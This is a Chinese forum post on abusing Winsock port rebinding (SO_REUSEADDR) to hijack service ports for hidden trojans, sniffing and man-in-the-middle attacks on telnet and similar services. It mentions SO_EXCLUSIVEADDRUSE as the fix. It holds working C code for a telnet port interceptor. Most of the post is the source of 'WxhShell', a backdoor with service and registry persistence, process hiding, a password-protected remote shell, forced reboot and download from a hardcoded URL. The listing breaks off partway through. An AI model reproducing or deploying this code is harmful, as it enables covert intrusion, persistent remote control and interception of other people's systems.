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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <T]BSQk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~ *:{U   
wz1fx>Q  
  saddr.sin_family = AF_INET; /^_~NF#  
}:JE*D|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hcWYz  
}dnO7K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B~S"1EE[  
fTQ_miAlP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wHneVqI/U  
\HR<^xY  
  这意味着什么?意味着可以进行如下的攻击: "},0Cs  
ODS8bD0!i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X|o;*J](  
b| e7mis@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yGGQ;!/  
K@uUe3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {+D 6o  
ey'x3s_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <cC0l-=  
Djv0]Sm^!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i WCR 5c=  
,-!h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yb 7  
&.dC%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y3!r;>2k=  
Fk&W*<}/;  
  #include i%~^3/K  
  #include )=,%iL -  
  #include 2hZ>bg  
  #include    KDx~^OO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j_=A)B?  
  int main() \}CQo0v  
  { |%wgux`z  
  WORD wVersionRequested; lqD.epm  
  DWORD ret; t9zPUR  
  WSADATA wsaData; eK<X7m^  
  BOOL val; 2t9JiH  
  SOCKADDR_IN saddr; U5rcI6  
  SOCKADDR_IN scaddr; 2'R ;z< _  
  int err; ?-'m#5i"  
  SOCKET s; /-Saz29f^Q  
  SOCKET sc; OnD!*jy  
  int caddsize; (_:k s  
  HANDLE mt; 9VqE:c /  
  DWORD tid;   NO(^P+s  
  wVersionRequested = MAKEWORD( 2, 2 ); %BdQ.\4DS  
  err = WSAStartup( wVersionRequested, &wsaData ); &b!L$@6  
  if ( err != 0 ) { p]/qf \E  
  printf("error!WSAStartup failed!\n"); Eqx2.S  
  return -1; n-HQk7=mQ  
  } P'EPP*)q  
  saddr.sin_family = AF_INET; n^} -k'l  
   fY)Dx c&ue  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #Az#dt]H  
+sN'Y/-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aT9+] Ig  
  saddr.sin_port = htons(23); qN5 ru2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gmCW__oR  
  { <Mdyz!  
  printf("error!socket failed!\n"); j@yK#==k  
  return -1; +>zjTP7\e"  
  } 2Fi ~GY_  
  val = TRUE; |I; tBqN{u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 />wM#)o2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "6[a%f#Q  
  { {zTo[i  
  printf("error!setsockopt failed!\n"); j`fQN  
  return -1; ;m/h?Y~  
  } KKrLF?rc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z%h _g-C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [ " n+2;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hDO\Q7  
)@vhqVv?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &sFEe<  
  { = [N= mC  
  ret=GetLastError(); x,CTB  
  printf("error!bind failed!\n"); 79DzrLu  
  return -1; 2#<)-Cak  
  } kTC'`xv  
  listen(s,2); :K:oH}4oh  
  while(1) :htz]  
  { bOEO2v'cQ  
  caddsize = sizeof(scaddr); +"sjkdum1  
  //接受连接请求 &U_YDUQ'L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5=;LHS*   
  if(sc!=INVALID_SOCKET) D=B$ Pv9%  
  { 8R3x74fL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); + ESEAi91  
  if(mt==NULL) pKxsK^O5[  
  { IE)$ .%q;)  
  printf("Thread Creat Failed!\n"); n\-nBrVSf  
  break; UR3qzPm!0e  
  } _T96.~Q  
  } 1Q5:Vo^B#  
  CloseHandle(mt); L|?$F*bs  
  } I_/E0qSJI  
  closesocket(s); Yk;-]qi7  
  WSACleanup(); jOkc'  
  return 0; kp6{QKDj&  
  }   3/aK#TjK  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1*x;jO>Hk  
  { I]4L0r-  
  SOCKET ss = (SOCKET)lpParam; eD(;W n  
  SOCKET sc; bv&#ay 7  
  unsigned char buf[4096]; O/(QLgUr  
  SOCKADDR_IN saddr; Z[ NO`!<  
  long num; ;S&PLgZ  
  DWORD val; mp !S<m  
  DWORD ret; m1 tYDZ"i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ab}Kt($  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6`c5\G+  
  saddr.sin_family = AF_INET; C`J>Gm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6UAn# d9  
  saddr.sin_port = htons(23); ;+Dq 3NE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |w{}h6 a  
  { 2bs={p$}a  
  printf("error!socket failed!\n"); 3j I rB%  
  return -1; 9}[UZN6  
  } Q.U wtH  
  val = 100; '3p7ee&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J1s~w`,  
  { $fzO:br5WJ  
  ret = GetLastError(); (&B`vgmb  
  return -1; vcmB)P-T`O  
  } <M y+!3\A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3)6TnY/u6{  
  { u~C,x3yr  
  ret = GetLastError(); &'V1p4'  
  return -1; j`D%Wx_  
  } nrF5^eZ#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IjPCaH.:t  
  { QX`T-)T e  
  printf("error!socket connect failed!\n"); nxjP4d>  
  closesocket(sc); TQ,KPf$0U  
  closesocket(ss); Ah?,9r=U  
  return -1; ^t$xR_  
  } .c5)`  
  while(1) u_Wftb?9  
  { sTS Nu+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 > u!# 4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U.GRN)fL4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SSAf<44e  
  num = recv(ss,buf,4096,0); hr/H vB  
  if(num>0) 0| }]=XN^  
  send(sc,buf,num,0); W"v"mjYud  
  else if(num==0)  z@8W  
  break; /$U< S"  
  num = recv(sc,buf,4096,0); xXRlQ|84  
  if(num>0) xU!eT'Y  
  send(ss,buf,num,0); 0! W$Cz[  
  else if(num==0) /Xm4%~b_gj  
  break; MS~+P'  
  } (M-W ea!q  
  closesocket(ss); ln2lFfz  
  closesocket(sc); %K[u  
  return 0 ; W7` fI*lc  
  } ,\RZ+kC>~  
s# 9*`K  
aGml!N5'  
========================================================== YAsE,M+  
=j~vL`d2]  
下边附上一个代码,,WXhSHELL a/{M2  
VR XK/dZ  
========================================================== P?o|N<46  
T!%J x.^  
#include "stdafx.h" | zyO;  
vveL|j  
#include <stdio.h> nJhaI  
#include <string.h> c9:8KMF)  
#include <windows.h> m#,AD,s  
#include <winsock2.h> \|YIuzlO4  
#include <winsvc.h> :V!F~  
#include <urlmon.h> p9-s'F|@i  
rQsYt/  
#pragma comment (lib, "Ws2_32.lib") eUVhNg  
#pragma comment (lib, "urlmon.lib") 63fg l+  
$.F.xYS9IJ  
#define MAX_USER   100 // 最大客户端连接数 -(lCM/h  
#define BUF_SOCK   200 // sock buffer *hIjVKTu79  
#define KEY_BUFF   255 // 输入 buffer V%Ww;Ca]I  
:[J'B4>9  
#define REBOOT     0   // 重启 mv{bX|.  
#define SHUTDOWN   1   // 关机 G -V~6  
 va [r~  
#define DEF_PORT   5000 // 监听端口 928uGo5  
l{mC|8X  
#define REG_LEN     16   // 注册表键长度 EdTR]}8  
#define SVC_LEN     80   // NT服务名长度 B2^*Sr[  
^oMdx2Ow#  
// 从dll定义API T9\G,;VQ7/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DS|q(O=7~t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OsV'&@+G>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y[rRz6.*(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f;=<$Y>i  
,92wW&2  
// wxhshell配置信息 ]ne  
struct WSCFG { isU4D  
  int ws_port;         // 监听端口 Q*ixg$>  
  char ws_passstr[REG_LEN]; // 口令 *TgD{>s  
  int ws_autoins;       // 安装标记, 1=yes 0=no [ 0z-X7=e  
  char ws_regname[REG_LEN]; // 注册表键名 )?;+<,  
  char ws_svcname[REG_LEN]; // 服务名 V [Wo9Y\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a7}O.NDf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yHf:/8Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~0Z.,p_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KA? J:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F EA t6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }u]7x:lh  
KP&$Sl  
}; =`ECM7  
Ku?1QDhrF*  
// default Wxhshell configuration rcz9\@M  
struct WSCFG wscfg={DEF_PORT, vMzBp#MT  
    "xuhuanlingzhe", i:|e#$x  
    1, _>E=.$  
    "Wxhshell", @y2cC6+'t  
    "Wxhshell", oc"7|YG  
            "WxhShell Service", \DcO .`L  
    "Wrsky Windows CmdShell Service", FGzn|I  
    "Please Input Your Password: ", X@ S~D7|ja  
  1, q.bx nta"  
  "http://www.wrsky.com/wxhshell.exe", $kBcnk  
  "Wxhshell.exe" <~zPt&C]V  
    }; k_`h (R  
?|Ey WAL  
// 消息定义模块 UaB2vuL*=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @~bP|a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xri(j,mU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  Dn#^-,H  
char *msg_ws_ext="\n\rExit."; 6x;!E&<  
char *msg_ws_end="\n\rQuit."; (SMk !b]}  
char *msg_ws_boot="\n\rReboot..."; l:~/%=  
char *msg_ws_poff="\n\rShutdown..."; P9)L1l<3I  
char *msg_ws_down="\n\rSave to "; ~?:>=x  
V8rS~'{\  
char *msg_ws_err="\n\rErr!"; "(mF5BE-E  
char *msg_ws_ok="\n\rOK!"; p,BoiYdi  
"?^#+@LV  
char ExeFile[MAX_PATH]; M<r]a{Yv  
int nUser = 0; Gkm {b[  
HANDLE handles[MAX_USER]; W~FU!C?]  
int OsIsNt; *|ef#-|D  
1&RB=7.h  
SERVICE_STATUS       serviceStatus;  Vqr]Ui  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ar _@"+tZ  
jLn|zK  
// 函数声明 !JtM`x/yR  
int Install(void); B,] AfH  
int Uninstall(void); 3oV2Ek<d  
int DownloadFile(char *sURL, SOCKET wsh); 3+&k{UZjt  
int Boot(int flag); t +|t/1s2  
void HideProc(void); &F8*>F^7  
int GetOsVer(void); v]#[bqB.b  
int Wxhshell(SOCKET wsl); 2({|LQqk  
void TalkWithClient(void *cs); n~ZZX={a  
int CmdShell(SOCKET sock); ux~=}{tz  
int StartFromService(void); `Hqgahb{P  
int StartWxhshell(LPSTR lpCmdLine); Wm4C(y@  
&Im-@rV!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )J?8"+_Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }tL]EW^  
kN6 jX  
// 数据结构和表定义 ,H_d#Koa.  
SERVICE_TABLE_ENTRY DispatchTable[] = rX0 ?m:&m  
{ MDBqIL]Hc  
{wscfg.ws_svcname, NTServiceMain}, yxi&80$  
{NULL, NULL} {Wndp%  
}; j`#H%2W\;  
Vha,rIi  
// 自我安装 )q`.tsR>  
int Install(void) w3#0kl  
{ 0\Tp/Ph  
  char svExeFile[MAX_PATH]; bB)$=7\  
  HKEY key; >7r%k,`  
  strcpy(svExeFile,ExeFile); Zs8]A0$  
<7! "8e  
// 如果是win9x系统,修改注册表设为自启动 ,w f6gmh8  
if(!OsIsNt) { V.ETuS;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Et y?/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eVd:C8q  
  RegCloseKey(key); G#ELQ/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q.fUpa v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLu[<u U*  
  RegCloseKey(key); JXHf$k  
  return 0; N)PkE>%X  
    } 9z`72(  
  } {y B0JL}n  
} ]L2b|a3  
else { !MVf(y$  
< {h \Msx%  
// 如果是NT以上系统,安装为系统服务 eJ6 #x$I,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >f4[OBc  
if (schSCManager!=0) hAs ReZ?  
{ _ gGA/   
  SC_HANDLE schService = CreateService U2LD_-HZ  
  ( Cm]\5}Py  
  schSCManager, V`9*_8Dx2  
  wscfg.ws_svcname, my/KsB  
  wscfg.ws_svcdisp, FzykC  
  SERVICE_ALL_ACCESS, RI+Y+z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . IM]B4m  
  SERVICE_AUTO_START, 9GsG*$-I  
  SERVICE_ERROR_NORMAL, W)'*Dcd  
  svExeFile, xm5?C>vu(  
  NULL, g W_E  
  NULL, t/_\w"  
  NULL, =[zP  
  NULL, ^nK7&]rK  
  NULL DWEDL[{  
  ); KoA+Vv9  
  if (schService!=0) 7w]3D  
  { &8yGV i  
  CloseServiceHandle(schService); "G,,:H9v  
  CloseServiceHandle(schSCManager); :iGK9I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $j8CF3d.6  
  strcat(svExeFile,wscfg.ws_svcname); fP6\Ur  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =M}tet }  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zg'.fUZ  
  RegCloseKey(key); [#YzU^^Ib  
  return 0; e"*1l>g  
    } =>kg]  
  } 4GH&u,  
  CloseServiceHandle(schSCManager); io(!z-$  
} A@Lr(L  
}  ?!<Q8=  
^Epup$  
return 1; F'F 6 &a+  
} CI\yP@DQ4  
J{\(Y#|rHs  
// 自我卸载 &['L7  
int Uninstall(void) Mlr'h}:H  
{ j9yOkaVEg  
  HKEY key; |i~-,:/-Y  
BsL+9lNue  
if(!OsIsNt) { @!j6y (@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bg/=P>2  
  RegDeleteValue(key,wscfg.ws_regname); P{BW^kAdH  
  RegCloseKey(key); D?UURURf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {p$@)b  
  RegDeleteValue(key,wscfg.ws_regname); m 9\"B3sr  
  RegCloseKey(key); :_]0 8  
  return 0; MppT"t  
  } 6!?] (  
} "q1S.3V;  
} @t@B(1T  
else { X y`2ux+>/  
XR 3 dG:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >I<}:=   
if (schSCManager!=0) I3b*sx$  
{ uMpuS1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +IWf~|s  
  if (schService!=0) '9zKaL  
  { dG8mE&$g  
  if(DeleteService(schService)!=0) { c5uC?b].  
  CloseServiceHandle(schService); *4LRdLMn  
  CloseServiceHandle(schSCManager); O*bzp-6\  
  return 0; 5`$!s17  
  } XA(.O|VZ  
  CloseServiceHandle(schService); s$,G5Feub  
  } PIXqd,  
  CloseServiceHandle(schSCManager); "FhC"}N  
} k}I65 ^l#  
} H+-x.l`  
GN Ewq$  
return 1; ~7PiIky.  
} }Y|M+0   
sa _J6~  
// 从指定url下载文件 MX?UmQ'  
int DownloadFile(char *sURL, SOCKET wsh) AAW] Y#UwW  
{ lrwQ >N  
  HRESULT hr; ]~VuY:abH  
char seps[]= "/"; -QR]BD%J*[  
char *token; @GGQ13Cj(  
char *file; `IJ)'$pn  
char myURL[MAX_PATH]; /OB)\{-  
char myFILE[MAX_PATH]; )db:jPkwd  
a(*"r:/lD  
strcpy(myURL,sURL); )f8;ze  
  token=strtok(myURL,seps); &j ; 91wEn  
  while(token!=NULL) 7E#h(bt j  
  { evD=]iVD  
    file=token; #_`p 0wY  
  token=strtok(NULL,seps); ^$C&{%  
  } MK@rx6<9  
jJNl{nyq  
GetCurrentDirectory(MAX_PATH,myFILE); 3TLym&  
strcat(myFILE, "\\"); !Q<3TfC  
strcat(myFILE, file); Wd+G)Mu_=  
  send(wsh,myFILE,strlen(myFILE),0); :SW vH-]  
send(wsh,"...",3,0); zDEgC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Y^3G7On  
  if(hr==S_OK) KaS*LDzw  
return 0; PC+Soh*  
else ?Q+*[YEJ5  
return 1; 0UW_ Pbh6  
.w _BA)  
} NS""][#  
.Ln98#ZR  
// 系统电源模块 3Nwix_&S  
int Boot(int flag) yB/F6/B~  
{ ;($xAAR  
  HANDLE hToken; 9z{g3m70@  
  TOKEN_PRIVILEGES tkp; tS5J{j>T  
ZR%$f-  
  if(OsIsNt) { /ueOc<[8"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (UhJ Pco"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }EHL }Q  
    tkp.PrivilegeCount = 1; BzH0"xq^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _TmKn!Jw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E(_k#X  
if(flag==REBOOT) { Rq e|7/As  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @%*@Rar  
  return 0; n%RaEL  
} >?)_, KL  
else { :xq{\"r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "VHT5k  
  return 0; ~`^kP.()  
} BB9eQ: xO  
  } $cuBd  
  else { 1{]S[\F]  
if(flag==REBOOT) { Y,yU460T8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s]`6u yW"  
  return 0; %C #Ps   
} #`= >Mza  
else { 6/Yo0D>M$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4+nZ4a>LH?  
  return 0; n[qnrk*3 %  
} ]N0B.e~D  
} l+@k:IK  
v$x)$/]n  
return 1; ^_ V0irv  
} .I]v D#o  
Mae2L2vc  
// win9x进程隐藏模块 d(d3@b4Ta  
void HideProc(void) z.\\m;s  
{  $s]&9 2  
'@WBq!p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8 $H\b &u  
  if ( hKernel != NULL ) $!!y v'K  
  { Pg`+Q^^6S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UM`$aPz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s?;V!t  
    FreeLibrary(hKernel); 23K#9!3  
  } U HTxNK@}  
]5:[6;wS  
return; IG;= |  
} "\rO}(gC;`  
{M=B5-  
// 获取操作系统版本 B-L@ 0gH  
int GetOsVer(void) Q>;Aq!mr=  
{ W>Pcj EI  
  OSVERSIONINFO winfo; 4T"L#o1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r8N)]Hs ZH  
  GetVersionEx(&winfo); D'{ o3Q,%K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nygeR|:\  
  return 1; vl}}h%BC  
  else 5 3pfo:1'  
  return 0; Xs"d+dc  
} nehk8+eV_  
2$b1q!g<  
// 客户端句柄模块 vO"E4s  
int Wxhshell(SOCKET wsl) J|o<;9dg1  
{ KyDd( 'i  
  SOCKET wsh; q3-cWfU  
  struct sockaddr_in client; }TuMMO4+  
  DWORD myID; 1rue+GL  
CN-4FI)1D9  
  while(nUser<MAX_USER) ?}W#j  
{ -;HZ!Lf  
  int nSize=sizeof(client); C R't  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +]yVSns 3  
  if(wsh==INVALID_SOCKET) return 1; $:-C9N29  
,,IK}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'cIFbjJ  
if(handles[nUser]==0) _U*1D*kLI[  
  closesocket(wsh); 6 !fq658  
else $Op:-aW&  
  nUser++; f4dHOH  
  } prIJjy-F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oq3t-omXS  
!^1oH**  
  return 0; @^-f +o  
} (U.VCSn  
nHfAx/9!  
// 关闭 socket h]|2b0  
void CloseIt(SOCKET wsh) i1b3>H*3  
{ ,y/m5-D!  
closesocket(wsh); u V'C_H  
nUser--; **6X9ZIX[  
ExitThread(0); :,/ \E  
} X C390t  
6/(Z*L"~6k  
// 客户端请求句柄 <3=k  
void TalkWithClient(void *cs) JE$ $6X  
{ LA6Ik_-F  
rXe+#`m2  
  SOCKET wsh=(SOCKET)cs; I3l1 _  
  char pwd[SVC_LEN]; bOV]!)o  
  char cmd[KEY_BUFF]; Nii5},  
char chr[1]; Ur""&@  
int i,j; z!~{3M  
}y*rO(cu7G  
  while (nUser < MAX_USER) { 9~iDL|0'~  
5:EE%(g9  
if(wscfg.ws_passstr) { uIJ zz4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?4Zo0DiUB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #X5Tt  ;  
  //ZeroMemory(pwd,KEY_BUFF); N$ 2Iz  
      i=0; vDc&m  
  while(i<SVC_LEN) { [{ A5BE -  
IY2f$YV  
  // 设置超时 5hAs/i9_  
  fd_set FdRead; :ZM=P3QZ  
  struct timeval TimeOut; @Hp=xC9V  
  FD_ZERO(&FdRead); + J}h  
  FD_SET(wsh,&FdRead); #so"p<7 R  
  TimeOut.tv_sec=8; J+hifO  
  TimeOut.tv_usec=0; KDDx[]1Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0=OvVU;P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8{CBWXo$)  
f_QZ ql  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HNfd[#gV  
  pwd=chr[0]; J'lqHf$T  
  if(chr[0]==0xd || chr[0]==0xa) { HuD~(CI.  
  pwd=0; S8]YS@@D   
  break; 5*$z4O:Aa  
  } [{+ZQd  
  i++; #Z_f/@b  
    } ADA*w 1  
oR<;Tr~{q  
  // 如果是非法用户,关闭 socket -$D#u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7{f{SIB  
} (*!4O>]  
qKuHd~M{ 1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t@`Sa<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;AarpUw'  
@=l.J+lh  
while(1) { \3j4=K'nE  
l-[5Zl;"  
  ZeroMemory(cmd,KEY_BUFF);  0LUw  
-kzg(+sm  
      // 自动支持客户端 telnet标准   3HX-lg`0  
  j=0; hXn@vK6  
  while(j<KEY_BUFF) { T@N)BfkB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qNbgN{4  
  cmd[j]=chr[0]; :HN\A4=kc(  
  if(chr[0]==0xa || chr[0]==0xd) { @'?7au ''  
  cmd[j]=0; .[o?qCsw  
  break; d1d:5 b  
  } ~NO'8 Mr  
  j++; 1 swqs7rR|  
    } (R{z3[/u&  
Xm.["&  
  // 下载文件 I;?np  
  if(strstr(cmd,"http://")) { |\q@XCGei  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9 J~KM=p  
  if(DownloadFile(cmd,wsh)) x[YW 3nF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4p`z%U~=u  
  else  OV$|!n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dxWG+S  
  } 8d\/  
  else { Oj.xJ(uX+v  
3#c0p790  
    switch(cmd[0]) { t3aDDu  
  L>2gx$f  
  // 帮助 4:XVu  
  case '?': { j|(bdTZY:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `[.4SIah  
    break; o}lA\A  
  } Ns`:=  
  // 安装 ^g N?Io  
  case 'i': { s!K9-qZl<  
    if(Install()) K9euNa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zzyD'n7D  
    else !X/O1PM|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1?ST*b  
    break; DUu~s,A  
    } I~U;M+n*y  
  // 卸载 14rX:z  
  case 'r': { #N|A@B5 x  
    if(Uninstall()) I-|1eR+3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  EoHrXv  
    else a/p /<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r1Cq8vD*m  
    break; (C8r^m|A  
    } hk+"c^g:j<  
  // 显示 wxhshell 所在路径 si>gYO  
  case 'p': { {DGnh1  
    char svExeFile[MAX_PATH]; *[wj )  
    strcpy(svExeFile,"\n\r"); L@LT*M  
      strcat(svExeFile,ExeFile); 83YQ c  
        send(wsh,svExeFile,strlen(svExeFile),0); V]A*' ke/  
    break; 1ba* U~OEg  
    } ?O#,|\v?]  
  // 重启 V']1j  
  case 'b': { u-#J!Z<T8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -Mufo.Jz1o  
    if(Boot(REBOOT)) a6.0 $'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>!~%Vv7!  
    else { Z <vTr6?  
    closesocket(wsh); 3gU*,K7  
    ExitThread(0); R//S(eU68\  
    } &dI;o$t  
    break; Y^J/jA0\B  
    } -&_;x&k /  
  // 关机 +^@6{1  
  case 'd': { 5NAB^&{Z<X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fo[=Dh*AqU  
    if(Boot(SHUTDOWN)) RiM!LX  
